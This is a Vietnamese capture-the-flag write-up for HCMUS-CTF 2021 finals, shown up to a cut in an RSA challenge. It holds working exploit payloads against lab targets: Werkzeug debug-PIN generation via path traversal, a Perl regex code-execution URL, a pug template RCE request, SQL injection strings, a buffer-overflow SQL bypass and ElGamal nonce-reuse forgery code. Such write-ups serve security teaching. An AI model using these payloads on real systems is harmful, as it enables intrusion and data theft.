WRITE-UP HCMUS-CTF-2021-FINAL
Challenge type |
---|
WEB |
WEB MIX |
PWNABLE |
CRYPTOGRAPHY |
REVERSE |
WEB
GenshinWiki
Description: Flag stored at ./flag.txt
Attachment: Dockerfile
Challenge này cho một file Dockerfile
có nội dung như sau
FROM ubuntu:16.04
RUN apt-get update -y && \
apt-get install -y python-pip python-dev
COPY ./requirements.txt /app/requirements.txt
WORKDIR /app
RUN pip install -r requirements.txt
COPY . /app
EXPOSE 3000
CMD ["python", "app.py"]
Tổng quan về challenge thì web dính lỗi Path traversal
, từ chổ này ta có thể đọc bất kỳ file nào trên server. Đồng thời, lợi dụng lỗi này ta có thể dễ dàng lấy source ở /app/app.py
Source code:
import glob
import json
from flask import Flask, render_template, request
app = Flask(__name__)
with open("flag.txt", "r") as f:
flag = f.read()
@app.route("/")
def index():
file_list = glob.glob("characters/*")
file_list.sort()
character_list = []
for file in file_list:
with open(file, "r") as f:
character = json.loads(f.read())
character_list.append(character)
return render_template("index.html", character_list=character_list)
@app.route("/character")
def character():
slug = request.args.get("name")
with open("characters/" + slug, "r") as f:
data = f.read()
if flag in data:
return "No flag for you! Checkmate!"
return render_template("character.html", data=data)
if __name__ == "__main__":
app.run("0.0.0.0", 3000, debug=True);
document.title = `${character.name} | Genshin Impact - Wikipedia`;
document.querySelector("#img").src = character.img;
document.querySelector("#name").innerText = character.name;
document.querySelector("#title").innerText = character.title;
document.querySelector("#intro").innerText = character.intro;
document.querySelector("#personality").innerText = character.personality;
Dễ dàng thấy lỗi Path traversal
ở route /character
@app.route("/character")
def character():
slug = request.args.get("name")
with open("characters/" + slug, "r") as f:
data = f.read()
if flag in data: # Vì bị check chổ này nên ta không thể đọc được flag một cách dễ dàng được :((
return "No flag for you! Checkmate!"
return render_template("character.html", data=data)
Vì options debug=True
được mở, nên có thể dễ dàng check được rằng là route /console
đang được bật, nhưng cần phải có PIN code
. Giờ việc cần làm là gen lại được cái PIN code
đấy để có thể đọc flag.
Code gen pin:
import hashlib
from itertools import chain
import os
import getpass
pin = None
rv = None
num = None
probably_public_bits = [
'root' , # Vì deloy bằng docker nên ta có thể đoán được, hoặc đọc file /etc/passwd và có thể confirm rằng ta có thể đọc /etc/shadow qua Path traversal
'flask.app' , # modname Always the same
'Flask' , # Always the same
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None) => Cái này các bạn tự deloy rồi kiểm tra nhé
]
# PIN = 336-514-623
def _generate():
linux = b""
for filename in "./machine-id.txt", "./boot_id.txt": # machine-id.txt từ /etc/machine-id (có thể có hoặc không) và bood_id lấy từ /proc/sys/kernel/random/boot_id
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except IOError:
continue
if value:
linux += value
break
try:
with open("./cgroup.txt", "rb") as f: # file cgroup.txt lấy từ /proc/self/cgroup
linux += f.readline().strip().rpartition(b"/")[2]
except IOError:
pass
if linux:
print(linux)
return(linux)
private_bits = [
"6715920611201", # Đây là MAC address được convert sang decimal, đầu tiên đọc /proc/net/arp để tìm network interface (case này là eth0) và sau đó, đọc /sys/class/net/eth0/address để lấy địa chỉ MAC rồi convert sang decimal là xong
_generate()
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
Sau khi có PIN code
thì nhập vào và chiếm được console rồi đọc flag!!
FLAG:
HCMUS-CTF{turn-off-debug-mode-pls}
CuteShopV2
Source code:
const express = require("express");
const session = require('express-session')
const config = require("./config");
const path = require("path");
const mysql = require("mysql2");
const port = process.env.APP_PORT || 1337;
const host = "0.0.0.0";
const FLAG = "Flag{ahih}" //require("fs").readFileSync("flag.txt");
const connection = mysql.createConnection({
host: 'localhost',
user: 'root',
database: 'test'
});
(function initDB() {
sql = `create table if not exists users(
id int not null auto_increment,
username nvarchar(30) not null,
password nvarchar(40) not null,
money int,
gifted tinyint(1),
primary key (id)
)`
connection.query(sql);
sql = `insert into users(username, password) values("HCMUS-admin", "HCMUS-${config.admin_password}")`
connection.query(sql);
})();
const app = express();
app.use(express.json());
app.use(session(config.session));
app.use(express.static("public"))
app.set("view engine", "pug");
app.set("views", path.join(__dirname, "views"));
app.use((req, res, next) => {
const allowedType = ["string", "number"];
for (key in req.query) {
if (!allowedType.includes(typeof (req.query[key])))
return res.send("Nice try");
}
for (key in req.body) {
if (!allowedType.includes(typeof (req.body[key])))
return res.send("Nice try");
}
next();
})
app.get("/", (req, res) => {
if (!req.session.authenticated)
return res.redirect("/login");
connection.query(
"select money from users where username=?",
[req.session.username],
(err, result) => {
money = 0;
if (err)
money = 0;
else
money = result[0].money;
return res.render("index", { authenticated: req.session.authenticated, username: req.session.username, money: money });
}
)
});
app.get("/source", (req, res) => {
return res.sendFile(path.join(__dirname, "server.js"));
})
app.route("/login")
.all((req, res, next) => {
if (req.session.authenticated)
return res.redirect("/");
next();
})
.get((req, res) => {
res.render("login", { authenticated: false });
})
.post((req, res) => {
username = req.body.username;
if (typeof username == 'undefined')
return res.json({ "status": 403, "message": "Username can't be blank" });
password = req.body.password;
if (typeof password == 'undefined')
return res.json({ "status": 403, "message": "Password can't be blank" });
connection.query(
"select * from users where username = ? and password = ?",
[username, password],
(err, result) => {
if (err)
return res.json({ "status": 403, "message": "Error occur" });
if (result.length < 1)
return res.json({ "status": 403, "message": "Wrong username or password" });
req.session.username = username;
req.session.authenticated = true;
return res.json({ "status": 200, "message": "Logged in" });
}
)
})
app.route("/register")
.get((req, res) => {
res.render("register", { authenticated: false });
})
.post((req, res) => {
username = req.body.username;
if (typeof username == 'undefined')
return res.json({ "status": 403, "message": "Username can't be blank" });
password = req.body.password;
if (typeof password == 'undefined')
return res.json({ "status": 403, "message": "Password can't be blank" });
connection.query(
"select * from users where username = ?",
[username],
(err, result) => {
if (err)
return res.json({ "status": 403, "message": "Error occurs" });
if (result.length > 0)
return res.json({ "status": 403, "message": "Username already taken" });
connection.query(
"insert into users(username, password, money, gifted) values(?, ?, 10, 0)",
[username, password],
(err) => {
if (err)
return res.json({ "status": 403, "message": "Error occurs" });
return res.json({ "status": 200, "message": "Create account successful" });
})
})
})
app.route("/flag")
.post((req, res) => {
if (!req.session.username)
return res.json({ "status": 403, "message": "Not logged in" });
connection.query(
"select money from users where username=?",
[req.session.username],
(err, result) => {
money = 0;
if (err)
money = 0;
else
money = result[0].money;
if (money > 100)
return res.json({ "status": 200, "message": `Here is your flag: ${FLAG}` })
return res.json({ "status": 403, "message": "But you dont have enough money" });
})
})
async function log(receiver) {
// TODO: add real code instead of sleep
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
await sleep(200);
}
app.route("/gift")
.all((req, res, next) => {
if (req.session.authenticated) {
if (req.session.username == "HCMUS-admin")
return next();
return res.sendStatus(403);
}
return res.redirect("/login");
})
.get((req, res) => {
return res.render("gift");
})
.post((req, res) => {
receiver = req.body.receiver;
if (typeof username == 'undefined')
return res.json({ "status": 403, "message": "Username can't be blank" });
connection.query(
"select * from users where username=?",
[receiver],
(err, result) => {
if (err)
return res.json({ "status": 403, "message": "Error occurs" });
if (result.length < 1) {
return res.json({ "status": 403, "message": "Username not found" });
}
isGifted = result[0].gifted;
if (isGifted)
return res.json({ "status": 200, "message": "Already gifted" });
connection.query(
"update users set money = money + 10 where username=?",
[receiver],
(err) => {
if (err)
return res.json({ "status": 403, "message": "Error occurs" });
log(receiver).then(() => {
connection.query(
"update users set gifted = 1 where username=?",
[receiver],
(err) => {
if (err)
return res.json({ "status": 403, "message": "Error occurs" });
return res.json({ "status": 200, "message": "Success" });
})
});
})
})
})
app.route("/logout")
.get((req, res) => {
delete req.session.authenticated;
delete req.session.username;
res.redirect("/login");
})
app.listen(port, host);
console.log(`Running on http://${host}:${port}`);
Đọc source code thì ta thấy code có chức năng như sau:
- Nếu
money > 100
thì có thể đọc được FLAG - Nếu như là admin thì có thể tặng 10$ cho bất cứ user nào
- Mỗi user chỉ được tặng 1 lần
Nhưng may mắn là có một bạn nói với mình là pass của admin đơn giản là HCMUS-
(không biết có config lỗi hay không XD), nhờ vậy mà cuộc sống đỡ bế tắc hơn hẳn :((. Có admin rồi nhưng mỗi user chỉ được tặng một lần?? => Race condition
, nghĩa là lấy session admin rồi gửi request đùn đùn vào route /gift
để số tiền được cộng dồn là được.
Flag:
HCMUS-CTF{rac3-t0-The-Fl444g}
REGULAR lang EXporter
Đây là một challenge được code bằng perl
thực thi qua CGI-bin
, chức năng là lấy regex từ user qua param ?search
và file cần đọc qua param ?language
sau đó trả về nội dung trong file đấy khớp với regex là xong.
Lợi dụng việc đó, ta có thể kéo source code về gồm 3 file: api.pl
, helper.pl
và index.pl
, nhưng chức năng chính nằm ở api.pl
nên ta chỉ focus vào api.pl
trong trường hợp này nhé!
#!/usr/local/bin/perl
require "./helper.pl";
use CGI;
$cgi = CGI->new;
$search = $cgi->url_param('search');
$language = $cgi->url_param('language');
print $cgi->header('text/plain','200 OK');
$content = read_file($language);
@words = split('\n', $content);
@filtered = ();
foreach ( @words ) {
if ($_ =~ qr/$search/) {
push(@filtered, $_);
}
}
print join("\n", @filtered);
Code cũng không có vấn đề gì, nhưng sau một hồi tìm docs về regular expression
về perl
thì mình tìm thấy một pattern có khả năng thực thi code trong nó
Payload: /cgi-bin/api.pl?search=(?{print+`cat+/FLAAAG_HERE_NO_ONNE_CAN_GUESSS_M3.wtf`})&language=./content/english.txt
Flag:
HCMUS-CTF{learn-me-plz-https://www.rexegg.com/regex-disambiguation.html}
Pokegen
Source code:
// server.js
const express = require("express");
const session = require('express-session');
const config = require("./config");
const MongoClient = require('mongodb').MongoClient;
var db;
const app = express();
const port = process.env.APP_PORT || 1337;
const host = "0.0.0.0";
app.use(session(config.session));
app.set("view engine", "pug");
app.use(express.static("public"));
app.use(express.urlencoded({extended: true}));
app.use((req, res, next) => {
const allowedType = ["string", "number"];
for (key in req.query) {
if (!allowedType.includes(typeof (req.query[key])))
return res.send("Nice try");
}
for (key in req.body) {
if (!allowedType.includes(typeof (req.body[key])))
return res.send("Nice try");
}
next();
})
app.route("/")
.all((req, res, next) => {
if (!req.session.authenticated)
return res.redirect("/register");
next();
})
.get((req, res) => {
req.session.user.pokemon = Math.floor(Math.random()*3);
req.session.user.health = Math.floor(Math.random()*4) + 1;
req.session.user.power = Math.floor(Math.random()*4) + 1;
res.render("index", req.session.user);
});
app.route("/register")
.all((req, res, next) => {
if (req.session.authenticated)
return res.redirect("/");
next();
})
.get((req, res) => {
return res.render("register");
})
.post((req, res) => {
user = {...req.body, health: Math.floor(Math.random()*4) + 1, power: Math.floor(Math.random()*4) + 1};
console.log(user)
db.collection("users").insertOne(user);
req.session.authenticated = true;
req.session.user = {};
req.session.user.username = req.body.username;
return res.redirect("/");
})
app.route("/login")
.all((req, res, next) => {
if (req.session.authenticated)
return res.redirect("/");
next();
})
.get((req, res) => {
return res.render("login");
})
.post((req, res) => {
db.collection("users").findOne(
{username: req.body.username, password: req.body.password},
(err, result) => {
if (err)
return res.render("login", {error: "Something error"});
if (!result)
return res.render("login", {error: "Wrong username or password"});
req.session.authenticated = true;
req.session.user = {};
req.session.user.username = result.username;
return res.render("index", result);
});
})
MongoClient.connect("mongodb://localhost:27017/pokegen", (err, client) => {
if (err) {
console.log(err);
return;
}
db = client.db("pokegen");
app.listen(port, host);
console.log(`Running on http://${host}:${port}`);
});
// package.js
{
"name": "pokegen",
"version": "1.0.0",
"description": "",
"main": "server.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"dependencies": {
"express": "^4.17.1",
"express-session": "^1.17.1",
"mongodb": "^3.6.6",
"pug": "3.0.0"
}
}
Với những dạng như này, mình hay xem package.json
trước tiên, vì rất có thể tác giả sử dụng version của những lib
hay module
cũ và tất nhiên nếu may mắn, ta có thể tìm được chi tiết về cách khai thác của bug đó. Trong case này, version của pug
ở đây là pug==3.0.0
, ta có thể dễ tìm thấy được issue của nó tại đây: https://github.com/pugjs/pug/issues/3312
Bug này nhắm vào pretty options
của pug compiler
, nghĩa là nếu ta control được biến pretty
hay options.pretty
thì có thể RCE
được (còn tại sao lại RCE được thì các bạn đọc thêm cái issue trên :D), bằng cách khai thác chổ
...
app.route("/register")
...
})
.post((req, res) => {
user = {...req.body, health: Math.floor(Math.random()*4) + 1, power: Math.floor(Math.random()*4) + 1};
console.log(user)
db.collection("users").insertOne(user);
req.session.authenticated = true;
req.session.user = {};
req.session.user.username = req.body.username;
return res.redirect("/");
})
...
req.body
là input của mình, nghĩa là có thể nhập bất cứ gì mà ta muốn rồi sau đó nó được đưa vào biến user
=> Nên ta có thể đưa biến pretty
vào chổ này thông qua chức năng /register
POST /register HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
Origin: http://localhost:1337
Connection: close
Referer: http://localhost:1337/register
Cookie: connect.sid=s%3ABX9aeSpbk4oPCyz9a3907yNADa45EPm0.iI1heOLJUaCjIg9BQREvpcdANOMFUH%2BvwaEXhJHnWss
Upgrade-Insecure-Requests: 1
username=nhienit&password=rce&pretty=');process.mainModule.constructor._load('child_process').exec('calc');_=('
Sau khi login thành công, sẽ redirect sang route /
và template được render ra thì có thể thấy popup của calc.exe
của mình đã hiện lên và RCE thành công.
Tiếc là, team mình đã không kịp solve được challenge này nên khá là hối tiếc :(((
WEB MIX
Web x Cryptography
-
Đây là 1 bài web kết hợp với crypto, khi mình download source về và xem qua thì đây là 1 bài web dùng thư viện
flask
vàjwt
-
Đọc qua luồng của bài này thì thấy rằng cần tạo ra được json web token để sau khi gọi hàm
jwt.decode
thìusername
phải làadmin
- Tác giả dùng file
keygen.sh
để tạo cặp khóaprivate key
vàpublic key
(RSA 2048 bit)
- Ban đầu thì mình cũng nghĩ rằng phải tìm cách leech được
key
để có thể tạotoken
hợp lệ - Tuy nhiên sau khi nhìn code, mình phát hiện bài này dính lỗi
sqli
ở cả hàm đăng ký và đăng nhập - Tadaaaa… Vậy là chỉ cần sqli để lụm flag thoai, đầu tiên mình sẽ kiểm tra số cột của bảng
users
bằng cách dùngorder by
, sau khi phát hiện bảngusers
chỉ có 3 cột - Route
index
chỉ kiểm trausername
làadmin
thì sẽ trả về flag, do đó mình sẽ dùng union để bypass bằng cách dùng payload sau:testttttttttttt' union 'admin', 'admin', 'admin'-- -
Web x Binary
-
Đây là 1 bài web khá thú vị, đội của mình khá may mắn khi là đội duy nhất giải được câu này
-
Đầu tiên sẽ nhận 2 params
username
vàpassword
sau đó dùng hàmescapeshellarg
để filter nên không thể khai thác bằngos command injection
được -
Sau khi lấy file binary về, ném vào IDA thì luồng của chương trình như sau
- Chương trình nhận vào 2 parameter lần lượt là
username
vàpassword
, sau đó gọi hàmcheck_login
, hàm này cũng truyền reference biếnsession_id
vào - Hàm
check_login
có luồng thực thi như sau
- Đầu tiên nó sẽ gọi hàm
hex_encode
username và lưu vào biếnhex_result
, sau đó đọc từng dòng trong file./data/user-database.txt
sau đó tách username và password theo format%s %s
, tiếp theo sẽ dùng hàmstrncmp
để so sánh, nếu username và password trùng khớp thì sẽ copyhex_result
vàosession_id
- Vậy tức là file auth có nhiệm vụ như sau: Kiểm tra username và password, nếu trùng khớp với 1 tài khoản trong file
./data/user-database.txt
thì sẽ trả về hex encode của username - Sau khi đọc file
index.php?debug=1
thì mình phát hiện ra rằng, có thể trigger được sqli nếu như có thể control đượcsession_id
được trả về từ binaryauth
- Sau 1 hồi debug thì mình phát hiện ra rằng có thể ghi đè được giá trị của biến
session_id
bằng cách buffer overflow, tức là chỉ cần nhập mật khẩu có dạng như sau:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' or 1=1-- -
thì khi bị ghi đè,session_id
chỉ còn lại là' or 1=1-- -
- Tiếp theo cần bypass hàm
escapeshellarg
để tạo ra được payloadsqli
hợp lệ, payload của mình làusername=admin&password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\' union select 1,tbl_name from sqlite_master-- -
- Sau khi lấy được toàn bộ tables thì mình thấy có 1 table tên
flag_abcxyz
- Cuối cùng là payload để lấy flag:
username=admin&password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\' union select 1,* from flag_abcxyz-- -
PWNABLE
Easy_rop
Đây là một bài bof cơ bản với việc cấp phát 16 bytes và cho nhập tràn.
Hàm gọi đến shell với điều kiện 3 đầu vào.
Cách làm là cho tràn và control địa chỉ trở về đến địa chỉ system(“/bin/sh”).
Payload:
Tu_Thien
Với bài này thì khá đơn giản vì cho source rồi. Ban đầu chương trình khởi tạo user “admin” với mật khẩu được sinh ngẫu niên.
Người dùng phải đăng nhập vào tài khoản “admin” để có thể nhận flag.
Khai thác từ việc strcmp sẽ so sánh đến byte \x00 nên ta sẽ bruteforce password với null byte.
Payload:
limited_shellcode
Thông tin đề bài.
Chương trình cho phép chúng ta nhập vào lưu shellcode tại 1 vùng memory. Sau khi thực hiện kiểm tra nếu hợp lệ sẽ thực thi shellcode.
Chương trình sẽ filter các byte <= 0x1f và >= 0x80. Vậy nó sẽ chặn việc thực hiện 2 bytes quan trọng là 0xcd và 0x80.(int 0x80).
Sau mỗi lần phát hiện bytes không hợp lệ thì biến check_shell sẽ tăng. Để ý thấy ở đây biến này chỉ được khai báo với 1 byte. Vậy ta có thể cho tràn số nguyên để control biến này về 0 (256 => 0). Bằng cách đè thêm vào các bytes không hợp lệ (vd: 0x90).
Payload:
CRYPTOGRAPHY
Polynomial AES (58 pts)
encrypt.py
from Crypto.Util.number import getPrime, getRandomRange, getRandomInteger
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
flag = open("flag.txt", "rb").read()
def sha256(s: bytes) -> bytes:
h = SHA256.new()
h.update(s)
return h.digest()
def generate_key() -> bytes:
d = getRandomRange(20, 30)
p = getPrime(1024)
q = []
for _ in range(d + 1):
q.append(getRandomInteger(100))
def eval(x: int) -> int:
ans = 0
mul = 1
for i in range(d + 1):
ans = (ans + mul * q[i]) % p
mul = (mul * x) % p
return ans
print(f"p = {p}")
print(f"q = {q}")
H = range(1, p)
s = 0
for h in H:
s = (s + eval(h)) % p
key = sha256(str(s).encode())
return key
key = generate_key()
cipher = AES.new(key, mode=AES.MODE_ECB)
ct = cipher.encrypt(pad(flag, AES.block_size))
print(f"Encrypted flag: {ct.hex()}")
output.txt
p = 177623787080918790693312135936556122024020095001443303172107276987982440197490523418145835127889071265905054737784623738629013338784360558617366098465518180680782530663638215602960132688937540305263995580366073873308704407001927606741585489839642710147345583432505462036986076120792139184590814347216415564101
q = [801237753591354715102942191156, 626618719198500674209203323781, 990607682230559368102514378597, 300626649773649360709969851789, 874661725788013406358456728725, 611124797526692571169418404283, 696940952735206910076260768209, 202318491739756355785884585154, 217597478025466348191206328033, 238860189889236925504208320473, 257324672120956057034462883536, 160322512393915295700562029637, 607851219645061751393650249507, 843763343969620761723084660993, 664187143329183292841846729739, 1006116355393829943519743575276, 1032255895907602121421225800124, 760726117259231496345295071803, 374029363383881393553491416304, 510251190591403967192508766973, 418897119833960203375767935538, 454322945572252709096080212504, 442294223579983673964906923798, 974394018465930277236048171917, 615939424032648824469586728134]
Encrypted flag: 413016e1c544c23c3fddb759388ec267cd47980a57de5e3c5c6e6b5628eea5d5
Cho một đa thức f bậc d thuộc Fp[x] với các hệ số như trong list q
, khóa key
dùng để mã hóa flag được tính bằng s = f(1) + f(2) + f(3) + ... + f(p-1) (mod p)
, key = sha256(str(s).encode())
.
p = 177623787080918790693312135936556122024020095001443303172107276987982440197490523418145835127889071265905054737784623738629013338784360558617366098465518180680782530663638215602960132688937540305263995580366073873308704407001927606741585489839642710147345583432505462036986076120792139184590814347216415564101
p
có độ dài 1024 bit, loop từ 1 đến p-1 thì không biết đến khi nào mới xong…
Có .
.
.
Đổi lại thì phải tính - Faulhaber’s formula.
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from polysum import * # https://github.com/fcard/PolySum/blob/master/Python/polysum.py
from hashlib import sha256
p = 177623787080918790693312135936556122024020095001443303172107276987982440197490523418145835127889071265905054737784623738629013338784360558617366098465518180680782530663638215602960132688937540305263995580366073873308704407001927606741585489839642710147345583432505462036986076120792139184590814347216415564101
q = [801237753591354715102942191156, 626618719198500674209203323781, 990607682230559368102514378597, 300626649773649360709969851789, 874661725788013406358456728725, 611124797526692571169418404283, 696940952735206910076260768209, 202318491739756355785884585154, 217597478025466348191206328033, 238860189889236925504208320473, 257324672120956057034462883536, 160322512393915295700562029637, 607851219645061751393650249507, 843763343969620761723084660993, 664187143329183292841846729739, 1006116355393829943519743575276, 1032255895907602121421225800124, 760726117259231496345295071803, 374029363383881393553491416304, 510251190591403967192508766973, 418897119833960203375767935538, 454322945572252709096080212504, 442294223579983673964906923798, 974394018465930277236048171917, 615939424032648824469586728134]
s = 0
for i,j in enumerate(q):
s += polysum(i,p-1)*j
s = s % p
key = sha256(str(s).encode()).digest()
cipher = AES.new(key, mode=AES.MODE_ECB)
ct = bytes.fromhex('413016e1c544c23c3fddb759388ec267cd47980a57de5e3c5c6e6b5628eea5d5')
flag = unpad(cipher.decrypt(ct),16)
print(flag.decode())
# HCMUS-CTF{learn-algebra}
DragonBall (95 pts)
Bài DragonBall
nói về ElGamal signature scheme. Mình chưa chụp lại lúc làm bài, mà sơ qua thì server có 3 lựa chọn, generate
, verify
và debug
.
generate
để nhập username, sau đó server gen một chuỗiUSERNAME=username&LEVEL=Saiyan
, ký bằng Elgamal-SHA1, trả về một token có chứar
vàs
.verify
để nhập token và xác thực user, nếu làSuperSaiyan
thì trả về flag.- Và
debug
cho biết tham sốg
vàp
được dùng.
Kiểm tra g
và p
không thấy có gì bất thường, mình nhập thử các username khác nhau thì biết được nonce k
cố định rồi.
Như vậy có thể tìm lại k
và private key x
, đủ để tạo token thỏa yêu cầu USERNAME=username&LEVEL=SuperSaiyan
.
import base64
from Crypto.Util.number import long_to_bytes, bytes_to_long
from hashlib import sha1
p = 129395855808705212728342121899564040533627536165407217623699982163034898985604990453612738681235265684964910273382421570674875235106037524148312004154122323500944367988234700927644310658336581857679208804861661335768169851589929150626616698506529354785376916490328643358410300092039405295348822918174724269387
g = 125119881720420900707670154269953309690838537679536446473408150363676013315875914220318853661265626997530402259420104771257078966641464155686445398996594055909718103795617751840611152747280651424068043671714408414771552296848509963265865300590662320297995606313265875459093865996548994154719802981360764938058
h1 = bytes_to_long(sha1(b'USERNAME=123&LEVEL=Saiyan').digest())
r1 = bytes_to_long(b'M\xc3\xbek\xf1\xe7\x02\xfaY\xd9D\xa1\xb8\x13\x86(ZB.\xce\x98"\xb4Z\x84f\xbb\xf4\x14\xcf1\xdf\x90Y\x81\xd1\x00\xa1D\x10\xc6jTp\xdc\xe9.\xdf\xcd\x89\xd1\x12A\xab\xf7\x7f_x\xfai\xf8\tP\xf6\xb6.g\xb0E\x1c\x8c\x8f\xdc\x15\x87\x0c-\x92\xe8@t\xa7\xef\xe6\xdav\xee\xdd\x03\xf7\xc2R\xb3\x15\xac\'\xfdH\\T\x95\x85W\'sVf\x17\x98>\x0c*\xe45\xfd\xe8E\xf94\x0f\xafIq1\t$<e')
s1 = bytes_to_long(b'Eg\x19x\xf3\x81\xcbu\xdb\x03L\xd6\xd1\xf0JZkE\xf4\x8c\xac\xa2\xb5\xcc\x1d\x96\x98\xb27a\xa1\x98\xbe\xf3vxTqZ\x9d\xe0\x03~\x8fg\xda\xe6\x18-\xd1\xe2!\x11\x9f\x87Bc\t\xff\xd3c\x0e\xaf\xe5;\xe43\'\x88\x05\xee\xf0\x8b\xa6\xe0f\xb3-C\xcf\x92\x89??\x9b\x1d\xcc\xc0}H\x96\xa1\xac[\x10^\xb6\x90\xa5\xa1X\xff,V\x8d\xfd}\xe3[\x17H\xd2_Bs\x1b}[|\xf9\x16@^\xdbJ&^\x9a')
h2 = bytes_to_long(sha1(b'USERNAME=ww&LEVEL=Saiyan').digest())
r2 = bytes_to_long(b'M\xc3\xbek\xf1\xe7\x02\xfaY\xd9D\xa1\xb8\x13\x86(ZB.\xce\x98"\xb4Z\x84f\xbb\xf4\x14\xcf1\xdf\x90Y\x81\xd1\x00\xa1D\x10\xc6jTp\xdc\xe9.\xdf\xcd\x89\xd1\x12A\xab\xf7\x7f_x\xfai\xf8\tP\xf6\xb6.g\xb0E\x1c\x8c\x8f\xdc\x15\x87\x0c-\x92\xe8@t\xa7\xef\xe6\xdav\xee\xdd\x03\xf7\xc2R\xb3\x15\xac\'\xfdH\\T\x95\x85W\'sVf\x17\x98>\x0c*\xe45\xfd\xe8E\xf94\x0f\xafIq1\t$<e')
s2 = bytes_to_long(b'D\xd1\xf6\xa8\xff|8\xfa\x85\xec\x96\x9b\xc8\xcdH[\xf7\xa0\xf9\xfdt\x07\xc9H\xff\xef\xeb.\xfd\xf0\xdbb\xab\x1aG\xb4B\xc3!\xe6\xbc\xbb]\xc8\t\x8cKej\x95\xcd\x84\xfe\x7fA\x8cVf\xbf\xa1\x11\nV\xed\x06b\xb8W\x1aXD%J\xe3\x1a\xb8\x9a!\x87\x15\xdfY\x1a\x11n{\xd5\rc\xf5C&4\xcc)\t%\xb6\x7f\xc1r\xf2\xaf\x9a\xc3\xc2\x9f9\xfd:,\x84\x13\x94\x89\xbfKS\xe7\x8f8=\xc0\x16\xa41>\x91')
h3 = bytes_to_long(sha1(b'USERNAME=1&LEVEL=Saiyan').digest())
r3 = bytes_to_long(b'M\xc3\xbek\xf1\xe7\x02\xfaY\xd9D\xa1\xb8\x13\x86(ZB.\xce\x98"\xb4Z\x84f\xbb\xf4\x14\xcf1\xdf\x90Y\x81\xd1\x00\xa1D\x10\xc6jTp\xdc\xe9.\xdf\xcd\x89\xd1\x12A\xab\xf7\x7f_x\xfai\xf8\tP\xf6\xb6.g\xb0E\x1c\x8c\x8f\xdc\x15\x87\x0c-\x92\xe8@t\xa7\xef\xe6\xdav\xee\xdd\x03\xf7\xc2R\xb3\x15\xac\'\xfdH\\T\x95\x85W\'sVf\x17\x98>\x0c*\xe45\xfd\xe8E\xf94\x0f\xafIq1\t$<e')
s3 = bytes_to_long(b'<\x0e0\xef\xfd\x1b\r!\xa9Wf\xee\xc9\xad\xa5\x9d\x17\xe8l\xfaP\xd2}\t\x8f.b\x80\xc9\xe3\x15^\x96\x12ASxm\x85\xa0\xc8\x8b8\xe2\x03\xb3$Su\x92p&\xee"\xa6\x80\xe2\xdc\xa5g\x9b+lS\x1ca\x0c\x88+z\xd3\xa9\xec\xf9\x8f>\x97\xcb\xdd\x86\xb3UE\xc3{\xc4Vt\xd4\xce\xba\xe9C\xa5\xc3\xfe\x85l\x86ew\xc1\xda\x97\xad\x87Q\x82\xea\xb1aO\n\x9d\xdf\xafTU\xb4\xea\xbf\x9e,\x05\xce\xfbO\x18')
h = bytes_to_long(sha1(b'USERNAME=123&LEVEL=SuperSaiyan').digest())
k = (h1 - h2) * pow(s1-s2,-1,p-1) % (p-1)
x = (h1 - k * s1)*pow(r1,-1,p-1) % (p-1)
assert s1 == ((h1 - x*r1)*pow(k,-1,p-1) %(p-1))
assert s2 == ((h2 - x*r2)*pow(k,-1,p-1) %(p-1))
assert s3 == ((h3 - x*r3)*pow(k,-1,p-1) %(p-1))
r = r1
s = (h - x*r)*pow(k,-1,p-1) % (p-1)
S = b'USERNAME=123&LEVEL=SuperSaiyan' + b'&r=' + long_to_bytes(r) + b'&s=' + long_to_bytes(s)
print(base64.b64encode(S))
Lúc verify
nhập token SuperSaiyan
là được flag.
VVNFUk5BTUU9MTIzJkxFVkVMPVN1cGVyU2FpeWFuJnI9TcO+a/HnAvpZ2UShuBOGKFpCLs6YIrRahGa79BTPMd+QWYHRAKFEEMZqVHDc6S7fzYnREkGr939fePpp+AlQ9rYuZ7BFHIyP3BWHDC2S6EB0p+/m2nbu3QP3wlKzFawn/UhcVJWFVydzVmYXmD4MKuQ1/ehF+TQPr0lxMQkkPGUmcz00i9EUt9d/ifwYU8pc8sxN/4O/O3kJD8+gBPYHAqSo5dKoMw7gI2S7GjkmJYg2MohUKYFK+Y+aV//wUdaBC5yVymcTGs3AM5mJqYOGXR+/9N3frdCGKwLNcaagdoepYUFKMxYfrD4u+BU67uTDuQoc+ol0bGNmtY6wfB/jNvZVEA==
RSA PTA (100pts)
chal.py
from Crypto.Util.number import isPrime, getPrime
import random
import math
p = getPrime(512)
q = getPrime(512)
n = p * q
phi = (p-1) * (q-1)
while True:
e = random.randint(2,n-1)
if math.gcd(e,phi) == 1:
break
d = pow(e, -1, phi)
m = random.randint(2,n-1)
c = pow(m, e, n)
print(m, c)
p = int(input())
q = int(input())
d = int(input())
assert(p < q)
assert(512 <= p.bit_length())
assert(q.bit_length() < 1024)
assert(isPrime(p))
assert(isPrime(q))
n = p * q
assert(1 < d < n)
if m == pow(c, d, n):
